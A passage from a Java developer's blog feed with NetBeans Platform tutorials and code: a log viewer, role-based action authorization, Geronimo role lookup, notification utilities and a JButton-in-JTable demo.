while ((line = ins.readLine()) != null)
{
ring.add(line);
} // end of while ((line = ins.readLine()) != null)
}
catch (IOException e)
{
log.error("Failed reading log file.", e);
} // end of try-catch
// Now show the last OLD_LINES
lines = ring.output();
ring.setMaxCount(LINES);
}
@Override
public void run()
{
final int MAX_LINES = 10000;
String line;
shouldStop = io.isClosed();
if (!shouldStop)
{
try
{
if (lines >= MAX_LINES)
{
io.getOut().reset();
lines = ring.output();
} // end of if (lines >= MAX_LINES)
while ((line = ins.readLine()) != null)
{
if ((line = ring.add(line)) != null)
{
io.getOut().println(line);
lines++;
} // end of if ((line = ring.add(line)) != null)
}
}
catch (IOException e)
{
log.error("Failed reading log file and printing to output.", e);
}
task.schedule(10000);
}
else
{
///System.out.println("end of infinite loop for log viewer\n\n\n\n");
stopUpdatingLogViewer();
}
}
/* display the log viewer dialog
*
**/
public void showLogViewer() throws IOException
{
shouldStop = false;
io = IOProvider.getDefault().getIO(ioName, false);
io.getOut().reset();
io.select();
filestream = new FileInputStream(fileName);
ins = new BufferedReader(new InputStreamReader(filestream));
init();
task.schedule(0);
}
/* stop to update the log viewer dialog
*
**/
public void stopUpdatingLogViewer()
{
try
{
ins.close();
filestream.close();
io.closeInputOutput();
io.setOutputVisible(false);
}
catch (IOException e)
{
log.error("Failed to close log file streams.", e);
}
}
private class Ring
{
private int maxCount;
private int count;
private LinkedList<String> anchor;
public Ring(int max)
{
maxCount = max;
count = 0;
anchor = new LinkedList<String>();
}
public String add(String line)
{
if (line == null || line.equals(""))
{ // NOI18N
return null;
} // end of if (line == null || line.equals(""))
while (count >= maxCount)
{
anchor.removeFirst();
count--;
} // end of while (count >= maxCount)
anchor.addLast(line);
count++;
return line;
}
public void setMaxCount(int newMax)
{
maxCount = newMax;
}
public int output()
{
int i = 0;
for (String s : anchor)
{
io.getOut().println(s);
i++;
}
return i;
}
public void reset()
{
anchor = new LinkedList<String>();
}
}
}</pre>
<br />
You also need an action that gathers the basic logic to open a log viewer, called LogViewerAction.java:<br />
<pre>package com.blogspot.qbeukes.diagnostics.logviewer;
import java.io.File;
import java.util.Map;
import java.util.Map.Entry;
import com.blogspot.qbeukes.logging.Log;
import net.kunye.platform.client.maintenance.logs.LogViewer;
import org.openide.util.HelpCtx;
import org.openide.util.actions.CallableSystemAction;
public abstract class LogViewerAction extends CallableSystemAction
{
protected static final Log log = Log.getLog(LogViewerAction.class);
/**
* @param map
* @return A new prepared log viewer action
*/
public static LogViewerAction getLogViewerAction(Map map)
{
Object o = map.get("viewerAction");
if (!(o instanceof LogViewerAction))
{
log.error("Received an invalid viewerAction type: " + o.getClass().getName());
throw new IllegalArgumentException("Invalid viewerAction attribute. Has to be a 'newvalue' of type LogViewerAction.");
}
LogViewerAction logViewer = (LogViewerAction)o;
log.debug("Creating new action of type: " + logViewer.getClass().getName());
for (Object entry : map.entrySet())
{
Object key = ((Entry)entry).getKey();
if ("instanceCreate".equals(key)
|| "viewerAction".equals(key))
{
continue;
}
// we have a valid property, add it
Object value = ((Entry)entry).getValue();
logViewer.putValue((String)key, value);
// log it
if (value == null)
{
value = "null";
}
log.trace("Adding LogViewerAction attribute '" + (String)key + "'='" +
value.toString() + "' (" + logViewer.getClass().getName() + ").");
}
return logViewer;
}
public void viewLog(File f)
{
LogViewer p = new LogViewer(f, getName());
try
{
p.showLogViewer();
}
catch (java.io.IOException e)
{
log.error("Showing log action failed.", e);
}
}
@Override
public String getName()
{
return (String)getValue("displayName");
}
@Override
public HelpCtx getHelpCtx()
{
return HelpCtx.DEFAULT_HELP;
}
@Override public String iconResource()
{
return "org/netbeans/core/resources/log-file.gif"; // NOI18N
}
}</pre>
<br />
Then extend the LogViewerAction class for a specific log. For this one I'll just open the client's log again:<br />
<pre>package com.blogspot.qbeukes.diagnostics.logviewer;
import java.io.File;
public class ClientLogAction extends LogViewerAction
{
public ClientLogAction()
{
putValue("userDirLogFile", "/var/log/messages.log");
}
@Override
public void performAction()
{
String logFilename = (String)getValue("logFile");
if (logFilename == null)
{
// FIXME This may not be used this way anymore.
String userDir = System.getProperty("netbeans.user");
if (userDir == null)
{
return;
}
// FIXME the same as above
logFilename = userDir + getValue("userDirLogFile");
}
log.debug("Viewing client log file: " + logFilename);
File f = new File(logFilename);
viewLog(f);
}
}</pre>
<br />
Finally, add the action to your layer.xml:<br />
<pre>...
<folder name="Menu">
<folder name="View">
<file name="org-netbeans-core-actions-LogAction.shadow_hidden"/>
<file name="com-blogspot-qbeukes-diagnostics-logviewer-ClientLogAction.instance">
<attr name="instanceCreate" methodvalue="com.blogspot.qbeukes.diagnostics.logviewer.LogViewerAction.getLogViewerAction"/>
<attr name="viewerAction" newvalue="com.blogspot.qbeukes.diagnostics.logviewer.ClientLogAction"/>
<attr name="userDirLogFile" stringvalue="/var/log/messages.log"/>
<attr name="displayName" stringvalue="Client Log"/>
</file>
</folder>
</folder>
...</pre>
<br />
To explain the layer a bit. Firstly, the LogViewerAction has a factory method for creating and executing a specific action. With a more complex LogViewerAction you should be able to creating a separate class for each log. Though as you see opening the ClientLog requires accessing properties and some validation and defaults. For other logs it is even more complex. So it would have to be quite the complex class to provide opening of all kinds of log files.<br />
<br />
So for your own class you can leave everything as it and just change the 'viewerAction' attribute to point to your own class. You can also remove or change the 'userDirLogFile' attribute, which is used inside the ClientLogAction class to reference a specific log under Netbeans' "userdir", which is a directory created for each user to store state/cache/configuration/logs.<br />
<br />
Finally it's the displayName property, which will be used as the name of the Action and LogViewer window, in other words displayed on the menu and as the title of the log viewer.<br />
<br />
Beyond this all logs aren't located on the same machine as the client application. The most important logs are located on the server (in our case at least). So I also made a network log viewer for viewing log files on the server. I developed this in company time, though, so I can't publish it (since they own the code). This one is very useful as it supports viewing rotated logs by specifying date ranges and exception highlighting. I will make one at some point and share it.Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com1tag:blogger.com,1999:blog-3694842005173898380.post-11355368397703615712009-11-14T20:48:00.000+02:002017-12-03T11:55:08.778+02:00Authorization in the Netbeans PlatformAuthentication and Authorization wasn't really thought off much when the designers of the Netbeans Platform were doing their magic. There is no "right" of doing this, though most people settle on doing their authentication in a ModuleInstaller (similar to OSGi's Activator).<br />
<br />
Authorization is even worse off. Luckily all actions in the Platform are done via an Action extension of some sort and their "enabled" state is honored in all places. So what I did for authorization was to create to extensions of the actions I use, nl. NodeAction and CallableSystemAction. Then when I create my Actions I rather extend one of these 2 depending on it's purpose, and annotate it with javax.annotation.security.RolesAllowed, specifying which roles are allowed to execute the action.<br />
<br />
To enforce this I finalize the action's "enabled" checks, and provide another method where necessary which the implementation must now place it's "enabled" logic in. This way I can prevent an action to be enabled unless the user is authorized. If a user were to execute custom logic (which would require a debugger or code injection) he could still execute them, but it would have no effect as the result would just be another access denied as the server's authorizations would prevent the final action from being executed. I also fetch the list of roles at authentication time from the server, so I'm equipped with everything necessary for authorization.<br />
<br />
To do the actual check if the action is authorized I have a utility "Netbeans Service" which takes an Object as an argument. This method will see if the object's class has @RolesAllowed annotation, and verify if the authenticated subject/user has at least one role "required" by this annotation. Further the "Admin" role is exempt from all authorization checks.<br />
<br />
As an example I listed all 4 classes. I didn't list the actual logic of fetching the list of roles, so it's up to you to populate the list with whatever method. <br />
<pre>package com.blogspot.qbeukes.auth;
AuthService.java:
public interface AuthService
{
/**
* @return True if this is an authenticated context
*/
boolean isAuthenticated();
/**
* @param object
* @return True if the current subject is authorized to used the specified object
*/
boolean isAuthorized(Object object);
}</pre>
<br />
AuthServiceImpl.java:<br />
<pre>package com.blogspot.qbeukes.auth;
import java.util.Set;
import java.util.TreeSet;
import javax.annotation.security.RolesAllowed;
import javax.swing.Action;
import com.blogspot.qbeukes.logging.Log;
import org.openide.util.lookup.ServiceProvider;
@ServiceProvider(service=AuthService.class)
public class AuthServiceImpl implements AuthService
{
private static final Log log = Log.getLog(AuthServiceImpl.class);
private static final String ADMIN_ROLE = "Admin";
private Set<String> roles;
private Boolean admin;
public AuthServiceImpl()
{
}
@Override
public boolean isAuthenticated()
{
// change to to check if the user is actually authenticated
return true;
}
/**
* Return the roles for this user, loading it on the first calls
* @return Set of roles
*/
protected Set<String> getSubjectRoles()
{
if (roles == null)
{
// fetch the list of roles here
roles = new TreeSet<String>();
roles.add("Some Role");
}
return roles;
}
/**
* Checks if the current subject has the "Admin" role. Also caches the result
* @return True if the subject has the "Admin" role
*/
protected boolean isAdmin()
{
if (admin == null)
{
admin = getSubjectRoles().contains(ADMIN_ROLE);
}
return admin.booleanValue();
}
@Override
public boolean isAuthorized(Object o)
{
if (!isAuthenticated())
{
return false;
}
if (isAdmin())
{
return true;
}
Class<?> clazz = o.getClass();
// if the class doesn't have the RolesAllowed annotation we assume no roles
// are allowed, and return false
// this just protects us against "forgetting"
// to allow all roles
if (!clazz.isAnnotationPresent(RolesAllowed.class))
{
return false;
}
String[] rolesAllowed = clazz.getAnnotation(RolesAllowed.class).value();
// empty roles list, no-one has access
if (rolesAllowed == null || rolesAllowed.length == 0)
{
return false;
}
Set<String> subjectRoles = getSubjectRoles();
boolean authorized = false;
for (String roleName : rolesAllowed)
{
if (subjectRoles.contains(roleName))
{
authorized = true;
break;
}
}
return authorized;
}
}</pre>
<br />
AuthorizedNodeAction.java:<br />
<pre>package com.blogspot.qbeukes.actions;
import org.openide.nodes.Node;
import org.openide.util.Lookup;
import org.openide.util.actions.NodeAction;
public abstract class AuthorizedNodeAction extends NodeAction
{
@Override
protected final boolean enable(Node[] activatedNodes)
{
return Lookup.getDefault().lookup(AuthService.class).isAuthorized(this)
&& enableForNodes(activatedNodes);
}
/**
* @param activatedNodes
* @return True if the action should be enabled for the specified nodes.
*/
protected abstract boolean enableForNodes(Node[] activatedNodes);
}</pre>
<br />
AuthorizedSystemAction.java:<br />
<pre>package com.blogspot.qbeukes.actions;
import org.openide.util.Lookup;
import org.openide.util.actions.CallableSystemAction;
public abstract class AuthorizedSystemAction extends CallableSystemAction
{
@Override
public boolean isEnabled()
{
return super.isEnabled() &&
Lookup.getDefault().lookup(AuthService.class).isAuthorized(this);
}
/* Not necessary for authorization. All my actions use this, so I collected it here */
@Override
protected boolean asynchronous()
{
return false;
}
}</pre>
<br />
So from here you can use AuthorizedSystemAction and AuthorizedNodeAction like so: <br />
<pre>@RolesAllowed({
"Some Role",
"Some Other Role"
})
public class SomeAction extends SystemAction {...}</pre>
OR<br />
<pre>@RolesAllowed({
"Some Role"
})
public final class SomeNodeAction extends AuthorizedNodeAction
{
@Override
protected boolean enableForNodes(Node[] activatedNodes)
{
// application level enabled checks
}
//...//
}</pre>
<br />
The above code will unfortunately not hide the actions, though they are disabled. It at least prevents the user from starting a wizard or opening the view/dialog. In our application we have a custom navigation system, so most of our actions are accessed through this panel. In this panel's UI generation I do a check to hide the actions, so it's not really a priority for us. We do, however, have some actions in the menus/toolbars, so I'm working on finding another way to do authorizations for them.<br />
<br />
Beyond this, authorizations for other panels/views are done programmatically by querying the AuthService, so to simplify this I have a utility method which does the lookup, validate the presence of the service and then query the service. This changes:<br />
Lookup.getDefault().lookup(AuthService.class).isAuthorized(...);<br />
TO<br />
AuthUtil.isAuthorized(...);<br />
<br />
It also does a check if AuthService actually has an implementation, for the odd situation where the module might have failed to load properly. In such a case the application is gracefully closed accompanied by an error message. I guess I could allow the user to continue and faced with errors from the server, though for our app I think it's was a better choice to make the application completely unavailable and get fixed rather than the experience be interrupted with endless error messages, which would most probably be the case if this module didn't load properly.Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com0tag:blogger.com,1999:blog-3694842005173898380.post-13330461023442485962009-11-14T20:05:00.000+02:002017-12-03T11:55:46.917+02:00Authenticated Subject and Principals in GeronimoJavaEE doesn't provide a standard way of determing the authenticated JAAS Subject or it's Principals. In general this isn't needed as there are mechanisms for authorization, which allows for other authorization frameworks to be plugged in without changing the authorization code.<br />
<br />
Though, what if you have a remote client that should be authorized in the same way? Sometimes this requires doing it yourself. For instance, I have a front end where I construct the UI and available actions based on the roles of the user. I did this in the Netbeans Platform by annotating actions with @RolesAllowed and then to determine if the user is in the specified role.<br />
<br />
To speed this up without doing a lot of back/forth between the server and client I fetch the list of roles from the server (which is determined by my authenticated remote JAAS session via OpenEJB to Geronimo) and build the UI from this information.<br />
<br />
OpenEJB unfortunately doesn't provide a way to get this information client side. In fact, if I'm correct it doesn't even have this information client side. From what I can see it only has a reference to what Geronimo calls a "SubjectId", which is a numeric identification of the authenticated session.<br />
<br />
So what I did was create an EJB method getAuthenticatedSubject() and getAuthenticatedSubjectRoles(). The former returns a javax.security.auth.Subject, and the latter returns a List<string> of role names.<br /><br />This is unfortunately not standard JavaEE and will only work on a Geronimo hosted EJB application. It would be great if the JavaEE folks could develop some specifications for remote authentication. They have the Application Client concept, but that's a half baked excuse for remote client sessions if there ever was any.<br /><br />To compile this you would need to add the "geronimo-security" JAR to your classpath, and anything else it requires. This list can get quite extensive, so a bit of research or brute force might be needed to get this going, or you can take the smart route and use Maven.<br /><br />So, here's the 2 methods:</string><br />
<pre> public Subject getAuthenticatedSubject()
{
return ContextManager.getCurrentCaller();
}
public List<String> getAuthenticatedSubjectRoles()
{
Subject subject = ContextManager.getCurrentCaller();
Set<Principal> principals = subject.getPrincipals();
List<String> roles = new ArrayList<String>();
for (Principal p : principals)
{
if (p instanceof GeronimoGroupPrincipal)
{
roles.add(p.getName());
}
}
return roles;
}</pre>
Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com0tag:blogger.com,1999:blog-3694842005173898380.post-11357017685355308292009-11-14T13:00:00.000+02:002017-12-03T11:53:09.678+02:00Netbeans Platform Notifications<div xmlns="http://www.w3.org/1999/xhtml">In any application you need to communicate to the user. Everyone knows how to get information FROM the user, but communicating to the user is something that most people have trouble with.<br /><br />Sure it's easy to simply display a message box, or flash a label, or give a sound. But doing it right is a completely different topic. People don't think it's important, and therefore there isn't much documentation on the topic.<br /><br />I'm not going to go too deeply into this, so I'll just give a very broad/simple tip. It doesn't apply to all situations, though in general an error should interrupt the user, and a notification shouldn't. So to achieve this I settled on something where if an error is directly related to an action the user just completed, I would interrupt the user with a modal message box explaining the failed action and when possible the cause. If the action was successful I would also notify the user, but in an unobtrusive manner, though still visible and it should remain available for review.<br /><br />For this Netbeans has always had a very eye-pleasing solution used by it's automatic update system. These are the balloon messages used to notify you of updates. I did some investigation into doing this and found the NotificationDisplayer class. It displays a balloon message, which has an action associated with it. This message is displayed in the bottom right and linked to a category (defined by it's type and icon). The balloon will hide itself after a few seconds, but remain accessible by clicking the notifications icon in the statusbar. This will display all messages which haven't been dismissed or confirmed. A dismissed message will simply disappear, and a confirmed message (clicking the link) will invoke an ActionListener.<br /><br />In my case I either display a more detailed message when invoking the ActionListener, or open another view for the action, depending on the origin/cause of the message.<br /><br />Then, for message boxes I used the DialogDisplayer class.<br /><br />To access these to notification classes takes quite a one-liner, so I wrapped it into 2 utility classes MessageUtil and NotifyUtil. For your pleasure I listed both of them at the end. You can use them as in the following examples:<pre>MessageUtil.error("Some error message");<br />MessageUtil.error("Some exception explanation", exceptionInstance);<br />MessageUtil.info("Some info message");<br />NotifyUtil.info("Title of Message", "Body of Message");<br />NotifyUtil.show("Title", "Body", MessageType.INFO, new ActionListener() {<br /> public void actionPerformed(ActionEvent evt)<br /> {<br /> // take some action<br /> }<br />});</pre><br />So, here are the classes:<br />Firstly, the MessageType enumeration in MessageType.java:<pre>package com.blogspot.qbeukes.messages;<br /><br />import java.net.URL;<br />import javax.swing.Icon;<br />import javax.swing.ImageIcon;<br />import com.blogspot.qbeukes.Log;<br />import org.openide.NotifyDescriptor;<br /><br />/**<br /> * Remember to modify this class to locate your icon resources.<br /> * @author qbeukes.blogspot.com<br /> * @license Apache License 2.0<br /> */<br />public enum MessageType<br />{<br /> PLAIN (NotifyDescriptor.PLAIN_MESSAGE, null),<br /> INFO (NotifyDescriptor.INFORMATION_MESSAGE, "info.png"),<br /> QUESTION(NotifyDescriptor.QUESTION_MESSAGE, "question.png"),<br /> ERROR (NotifyDescriptor.ERROR_MESSAGE, "error.png"),<br /> WARNING (NotifyDescriptor.WARNING_MESSAGE, "warning.png");<br /><br /> private int notifyDescriptorType;<br /> <br /> private Icon icon;<br /><br /> private MessageType(int notifyDescriptorType, String resourceName)<br /> {<br /> this.notifyDescriptorType = notifyDescriptorType;<br /> if (resourceName == null)<br /> {<br /> icon = new ImageIcon();<br /> }<br /> else<br /> {<br /> icon = loadIcon(resourceName);<br /> }<br /> }<br /><br /> private static Icon loadIcon(String resourceName)<br /> {<br /> URL resource = MessageType.class.getResource("icons/" + resourceName);<br /> if (resource == null)<br /> {<br /> Log log = Log.getLog(MessageType.class);<br /> log.warn("Failed to load NotifyUtil icon resource: " + resourceName + ". Using blank image.");<br /> return new ImageIcon();<br /> }<br /> return new ImageIcon(resource);<br /> }<br /><br /> int getNotifyDescriptorType()<br /> {<br /> return notifyDescriptorType;<br /> }<br /><br /> Icon getIcon()<br /> {<br /> return icon;<br /> }<br />}</pre><br />Then the MessageUtil for display message boxes, MessageUtil.java<pre>package com.blogspot.qbeukes.messages;<br /><br />import org.openide.DialogDisplayer;<br />import org.openide.NotifyDescriptor;<br /><br />/**<br /> * For displaying message boxes<br /> * @author qbeukes.blogspot.com<br /> * @license Apache License 2.0<br /> */<br />public class MessageUtil<br />{<br /> private MessageUtil() {}<br /><br /> /**<br /> * @return The dialog displayer used to show message boxes<br /> */<br /> public static DialogDisplayer getDialogDisplayer()<br /> {<br /> return DialogDisplayer.getDefault();<br /> }<br /><br /> /**<br /> * Show a message of the specified type<br /> *<br /> * @param message<br /> * @param messageType As in {@link NotifyDescription} message type constants.<br /> */<br /> public static void show(String message, MessageType messageType)<br /> {<br /> getDialogDisplayer().notify(new NotifyDescriptor.Message(message, <br /> messageType.getNotifyDescriptorType()));<br /> }<br /><br /> /**<br /> * Show an exception message dialog<br /> *<br /> * @param message<br /> * @param exception<br /> */<br /> public static void showException(String message, Throwable exception)<br /> {<br /> getDialogDisplayer().notify(new NotifyDescriptor.Exception(exception, message));<br /> }<br /><br /> /**<br /> * Show an information dialog<br /> * @param message<br /> */<br /> public static void info(String message)<br /> {<br /> show(message, MessageType.INFO);<br /> }<br /><br /> /**<br /> * Show an error dialog<br /> * @param message<br /> */<br /> public static void error(String message)<br /> {<br /> show(message, MessageType.ERROR);<br /> }<br /><br /> /**<br /> * Show an error dialog for an exception<br /> * @param message<br /> * @param exception<br /> */<br /> public static void error(String message, Throwable exception)<br /> {<br /> showException(message, exception);<br /> }<br /><br /> /**<br /> * Show an question dialog<br /> * @param message<br /> */<br /> public static void question(String message)<br /> {<br /> show(message, MessageType.QUESTION);<br /> }<br /><br /> /**<br /> * Show an warning dialog<br /> * @param message<br /> */<br /> public static void warn(String message)<br /> {<br /> show(message, MessageType.WARNING);<br /> }<br /><br /> /**<br /> * Show an plain dialog<br /> * @param message<br /> */<br /> public static void plain(String message)<br /> {<br /> show(message, MessageType.PLAIN);<br /> }<br />}</pre><br />And for displaying balloon messages, NotifyUtil.java:<pre>package com.blogspot.qbeukes.messages;<br /><br />import java.awt.event.ActionEvent;<br />import java.awt.event.ActionListener;<br />import org.openide.awt.NotificationDisplayer;<br /><br />/**<br /> * For notifying the user.<br /> * @author qbeukes.blogspot.com<br /> * @license Apache License 2.0<br /> */<br />public class NotifyUtil<br />{<br /> private NotifyUtil() {}<br /><br /> /**<br /> * Show message with the specified type and action listener<br /> */<br /> public static void show(String title, String message, MessageType type, ActionListener actionListener)<br /> {<br /> NotificationDisplayer.getDefault().notify(title, type.getIcon(), message, actionListener);<br /> }<br /><br /> /**<br /> * Show message with the specified type and a default action which displays the<br /> * message using {@link MessageUtil} with the same message type<br /> */<br /> public static void show(String title, final String message, final MessageType type)<br /> {<br /> ActionListener actionListener = new ActionListener() {<br /> @Override<br /> public void actionPerformed(ActionEvent e)<br /> {<br /> MessageUtil.show(message, type);<br /> }<br /> };<br /> <br /> show(title, message, type, actionListener);<br /> }<br /><br /> /**<br /> * Show an information notification<br /> * @param message<br /> */<br /> public static void info(String title, String message)<br /> {<br /> show(title, message, MessageType.INFO);<br /> }<br /><br /> /**<br /> * Show an error notification<br /> * @param message<br /> */<br /> public static void error(String title, String message)<br /> {<br /> show(title, message, MessageType.ERROR);<br /> }<br /><br /> /**<br /> * Show an error notification for an exception<br /> * @param message<br /> * @param exception<br /> */<br /> public static void error(String title, final String message, final Throwable exception)<br /> {<br /> ActionListener actionListener = new ActionListener() {<br /> @Override<br /> public void actionPerformed(ActionEvent e)<br /> {<br /> MessageUtil.showException(message, exception);<br /> }<br /> };<br /><br /> show(title, message, MessageType.ERROR, actionListener);<br /> }<br /><br /> /**<br /> * Show an warning notification<br /> * @param message<br /> */<br /> public static void warn(String title, String message)<br /> {<br /> show(title, message, MessageType.WARNING);<br /> }<br /><br /> /**<br /> * Show an plain notification<br /> * @param message<br /> */<br /> public static void plain(String title, String message)<br /> {<br /> show(title, message, MessageType.PLAIN);<br /> }<br />}</pre><br />I originally developed this code under Apache License 2.0. So you can use it under the same license.<br /></div>Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com1tag:blogger.com,1999:blog-3694842005173898380.post-80024434379203178732009-11-14T12:31:00.000+02:002017-12-03T11:53:09.682+02:00Netbeans Platform<div xmlns='http://www.w3.org/1999/xhtml'>We recently started cleaning up a mess. This mess was the software of one of our products. The action was a complete redevelopment. I didn't even use the original code as a reference. It was a complete rethink and redesign. This also opened up some avenues for using technology to our benefit, something you can't always do or fully benefit from in the middle of a project or on existing code basis. An example would be Maven. <br/><br/>Either way. I decided to do the frontend in Netbeans RCP Platform. For desktop applications in Java you have 2 options. SWT or Swing. People say SWT is faster, and they might be right. But Swing has so many more benefits... like extensibility and being pure Java. <br/><br/>Netbeans Platform is basically an application framework built on Swing. The only other comparison to it would be Eclispe RCP. I used to be an Eclipse follower, and naturally I've built on Eclipse RCP before. Even with all the tutorials, books and documentation Eclipse RCP has a steep learning curve, and it's a mess. There is no natural progression into Eclipse RCP development from anywhere, at least no where I've come from or heard off. Everything is different that what you're used to, even their OOP style and entity names. <br/><br/>One of my biggest complaints with Eclipse is inconsistency. Personally I believe this is because too many people are trying to make things too flexible without proper coordination and without completing things to the end. This has pushed Eclipse into a corner where making things work the way it's best for the end user is very difficult. Eclipse has a lot of powerful features, though none of them are worth the sharp edges.<br/><br/>To give an example, look at Eclipse's project structure. Eclipse has a flat project structure. Maven doesn't. So the Eclipse Maven plugin doesn't really give you true Maven support. Why didn't they plugin developers just add this support? Maybe because it's just too difficult to achieve in Eclipse? I'm not saying this is the reason. It's just a guess based on my personal experiences with Eclipse and Eclipse RCP.<br/><br/>I only started to truly grasp this when I began using Netbeans for JavaEE development. Having not nearly as large a feature count as Eclipse does, the features it does have are far more complete and of much higher quality.<br/><br/>Netbeans' Maven support for instance are almost PURE Maven. You can take any Maven project and open it in Netbeans. If it's a multi-level project you can open child projects from the parent project using a "Modules" node, dedicated to this purpose. You can then build individual components, or groups of components. You can edit the POM with auto-completion. You can manage dependencies in multiple ways. Repository browsers and a whole range of other customizations.<br/><br/>If this isn't enough, you can even do your Netbeans Platform applications as Maven projects, using the Netbeans Platform archetypes. <br/><br/>It all branches from the attitudes of the core developers. On this I'd rather not branch out (for reasons obvious to anyone whose said anything bad of Eclipse in front of an Eclipse user), so it'll remain my personal opinion. <br/><br/>So, back to the Platform. I started developing in the Netbeans Platform. Before this I knew nothing about how to use the Platform. A bold move for a new project. Though if it was anything like Netbeans I knew it would save me tons of time. I wanted to use an application framework based on a module system, as one of the requirements of the project was modularity. When we started the redevelopment of this a few months ago I resorted to Apache Felix for a pure OSGi system. This development was interrupted, and only started again a few weeks ago. <br/><br/>This time I decided to use an existing framework to save me some time, something which wasn't available on this run. Eclipse RCP and Netbeans RCP was the 2 obvious choices, and past experience influenced me into a obvious decision. <br/><br/>I completed the JavaEE layer and settled on Geronimo for the application server (since it uses OpenEJB). Another great choice here. When I started doing the frontend I was struggling a bit at first. It's very quick to get into Netbeans Platform (here after just NBP, phew) development. There's not much to learn. Though the reference documentation isn't too good. You're mostly left up to JavaDoc and Google Codesearch (thanks to one of the NB developers for this tip).<br/><br/>Though, if you would work through all the tutorials and do all the examples you should be able to find your way around and get right into developing your product pretty comfortably. The result would be an application that forms very rapidly. I can't even remember the number of times I got excited because I was able to implement very advanced features in minutes. I'm not going to rave about them now, though I will be documenting them in the weeks to come as I slowly get my life back.<br/><br/><div class='zemanta-pixie'><img src='http://img.zemanta.com/pixy.gif?x-id=5f029826-047b-8616-ad2a-99f293decadc' alt='' class='zemanta-pixie-img'/></div></div>Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com2tag:blogger.com,1999:blog-3694842005173898380.post-32925707071738942632009-11-01T23:18:00.000+02:002017-12-03T11:54:03.953+02:00Using a JButton in the cell of a JTable<div xmlns="http://www.w3.org/1999/xhtml">
There are many reasons why you would want a component to be displayed in the cell of your tables. Purely displaying text isn't enough. This is quite easy for most components like a checkbox, which only requires you to have a column of type "Boolean". The table will handle the rest. But the JButton is a different story.<br />
<br />
There is no default handling for buttons, which has led many people to conjure up some pretty nasty ways of getting it to work. I've seen many of them work very well, but ending up 100/200+ lines of code just for getting the button to display and accept input. The basic idea is to create your own TableCellRenderer and TableCellEditor, and then have these return the component. There after you need to capture all input events you wish the button to react to and dispatch them to the button's handler. This is where the code bulks come in.<br />
<br />
There is a much easier way of doing it though, and that's what I'll describe here. Assume you have a table, where every row represents an instance of a class "Employee". It has 3 columns, nl. "Name", "Surname" and "Options". In the "Options" column you wish to display a button "Get Fullname", which prints the full name of the employee in a JLabel above the table. <br />
<br />
So, you will create your own TableModel implementation, which returns the appropriate values for every column, the row/column counts, and so forth. We'll call ours EmployeeTableModel. For the JButton to work we have to add some code towards this purpose in EmployeeTableModel. <br />
<ol>
<li>This code will handle column index "2", which is the index for the "Options" column. Firstly we have to return a "true" value for this column in the isCellEditable() method. This is necessary for the cell editor to be returned, which is how we get the pressed/action performed handling of the button. </li>
<li>In the getColumnClass() method we need to return the JButton class for column 2, and String class for the other columns. This way the cells are identified and the correct editor used.</li>
<li>Finally, in the getValueAt() method, which returns the actual value for a cell, we need to return the button we wish to display in each cell. This button should be prepared with action listeners and unique for each row if you want it to be aware of the row it represents. Our button will display the employee's full name, so it needs to know for which employee it was selected. So we create a unique button for each row which is aware of the employee.</li>
</ol>
Part of our EmployeeTableModel class is a button handler. Since the model class creates the JButton instances, we provide it with an implementation of EmployeeButtonHandler, which has a method buttonClicked(Employee) call every time a button is clicked. This allows us to create the buttons on request inside the model so to cache their instances but still keep the actual logic outside of the model. This allows for higher cohesion.<br />
<br />
The second class we need to create is the javax.swing.table.TableCellRenderer and javax.swing.table.TableCellEditor implementation. I combine it into a single class, as it's behaviour is very similar and far too small to justify separate classes. We will also extend the javax.swing.AbstractCellEditor class to avoid having to recreate existing code. <br />
<br />
The TableCellEditor interface has 2 methods we still need to define, nl. getCellEditorValue() and getTableCellEditorComponent(). We just return null for the former, as we're not actually editing anything. For the latter we return whatever is passed into it, which would be a JButton. The table will call getValueAt() for the 3rd column, receive a JButton instance, lookup our editor which is associated with the JButton class and call our editor's getTableCellEditorComponent() passing in the value of the cell, which is the JButton we wish to display in the cell. So returning it is save. This is all the TableCellEditor has to do.<br />
<br />
For the TableCellRenderer it's a bit more complex, though this is where the biggest trick of them all come in. It follows similar logic in lookup/invocation as the TableCellEditor described above, and the method invoked on it, which is getTableCellRendererComponent(), has the same arguments as the editor counterpart. For the rendering and button events to work properly over multiple rows, though, we can't return the same instance as the editor does. The fact that it's purely used for rendering means we don't have to return a unique instance. We just need to return an instance with the same text as the actual button, so what we do is create a Map of JButtons, which maps the button text to instances. In our case all the buttons have the same text, so we'll only have one instance, but if you decide to have different text one your buttons, the code I supply will still work.<br />
<br />
Finally, we just create the EmployeeButtonHandler implementation, the atual table and configure it with the table model. Then the last step for the button to work is to configure the cell renderer and editor to be the defaults for JButton classes in the table. We do all this by extending the JFrame class, have it implement the EmployeeButtonHandler and adding logic for the button clicks and to create and configure the model JTable.<br />
<br />
Here is the code. I put them all as one string of code in a package "demotablebutton". The JFrame with the table creation/configuration is in a class DemoTableButton, which also has a main() method for running the demonstration. So just divide the following public classes into their own .java files with the same name as each class, and run it to see the table in action.<br />
<br />
<pre>/** DemoTableButton.java **/
package demotablebutton;
import java.awt.BorderLayout;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JScrollPane;
import javax.swing.JTable;
import javax.swing.SwingUtilities;
import javax.swing.WindowConstants;
public class DemoTableButton extends JFrame
implements EmployeeTableModel.EmployeeButtonHandler
{
private JLabel messageLabel;
public static void main(String[] args)
{
new DemoTableButton();
}
public DemoTableButton()
{
setLayout(new BorderLayout());
messageLabel = new JLabel("Click a button.");
add(messageLabel, BorderLayout.NORTH);
// create the table and the model
EmployeeTableModel model = new EmployeeTableModel(this);
JTable table = new JTable(model);
// now make a renderer the default for columns of type JButton
TableButtonRenderer renderer = new TableButtonRenderer();
table.setDefaultEditor(JButton.class, renderer);
table.setDefaultRenderer(JButton.class, renderer);
// add the table in a scrollpane
JScrollPane scroll = new JScrollPane(table);
add(scroll, BorderLayout.CENTER);
setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
SwingUtilities.invokeLater(new Runnable() {
public void run()
{
setVisible(true);
setSize(400, 300);
}
});
}
public void buttonClicked(Employee e)
{
messageLabel.setText("Full Name: " + e.getName() + " " + e.getSurname());
}
}
/** Employee.java **/
package demotablebutton;
public class Employee
{
private String name;
private String surname;
public Employee(String name, String surname)
{
this.name = name;
this.surname = surname;
}
public String getName()
{
return name;
}
